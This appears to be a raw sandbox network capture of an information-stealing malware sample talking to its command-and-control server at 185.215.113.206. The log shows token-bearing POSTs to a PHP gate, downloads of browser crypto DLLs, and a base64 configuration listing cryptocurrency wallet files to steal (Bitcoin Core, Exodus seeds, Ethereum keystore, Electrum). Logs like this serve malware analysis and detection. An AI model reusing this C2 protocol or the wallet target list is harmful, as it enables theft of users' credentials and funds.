Oct 29, 2024 04:52:23.783605099 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBGHCBAEGDHIDGCBAEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 47 48 43 42 41 45 47 44 48 49 44 47 43 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEBGHCBAEGDHIDGCBAECContent-Disposition: form-data; name="file"------KEBGHCBAEGDHIDGCBAEC--
Oct 29, 2024 04:52:24.562704086 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:25.399719954 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file"------KFBGDBFBKKJECBFHDGIE--
Oct 29, 2024 04:52:26.175789118 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:26.573932886 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:26.857141018 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 29, 2024 04:52:26.857158899 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 29, 2024 04:52:26.857171059 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 29, 2024 04:52:26.857278109 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 29, 2024 04:52:26.857290983 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 29, 2024 04:52:26.857542038 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 29, 2024 04:52:26.857554913 CET	848	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Oct 29, 2024 04:52:26.857764959 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 29, 2024 04:52:26.857781887 CET	1236	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]
Oct 29, 2024 04:52:28.246361971 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:28.726610899 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 29, 2024 04:52:29.505485058 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:29.788805008 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:29 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 29, 2024 04:52:30.592789888 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:30.875745058 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:30 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 29, 2024 04:52:33.121099949 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:33.404350996 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 29, 2024 04:52:33.768945932 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 29, 2024 04:52:34.054177999 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:33 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 29, 2024 04:52:34.714216948 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGHCGCBKFIECBFHIDG Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 29, 2024 04:52:35.499819040 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 29, 2024 04:52:35.553383112 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJJEHCBAKFBFHJKFBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 30 61 36 35 66 62 31 39 39 64 39 31 61 30 61 32 64 34 37 64 61 66 32 39 62 35 34 66 30 64 34 64 34 34 63 32 31 61 31 33 35 36 32 37 62 37 62 34 38 30 61 66 31 36 32 30 64 32 38 31 34 30 34 34 38 35 64 39 38 39 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4a 45 48 43 42 41 4b 46 42 46 48 4a 4b 46 42 4b 2d 2d 0d 0a Data Ascii: ------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="token"80a65fb199d91a0a2d47daf29b54f0d4d44c21a135627b7b480af1620d281404485d9899------CBKJJEHCBAKFBFHJKFBKContent-Disposition: form-data; name="message"wallets------CBKJJEHCBAKFBFHJKFBK--
Oct 29, 2024 04:52:35.839210987 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:52:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
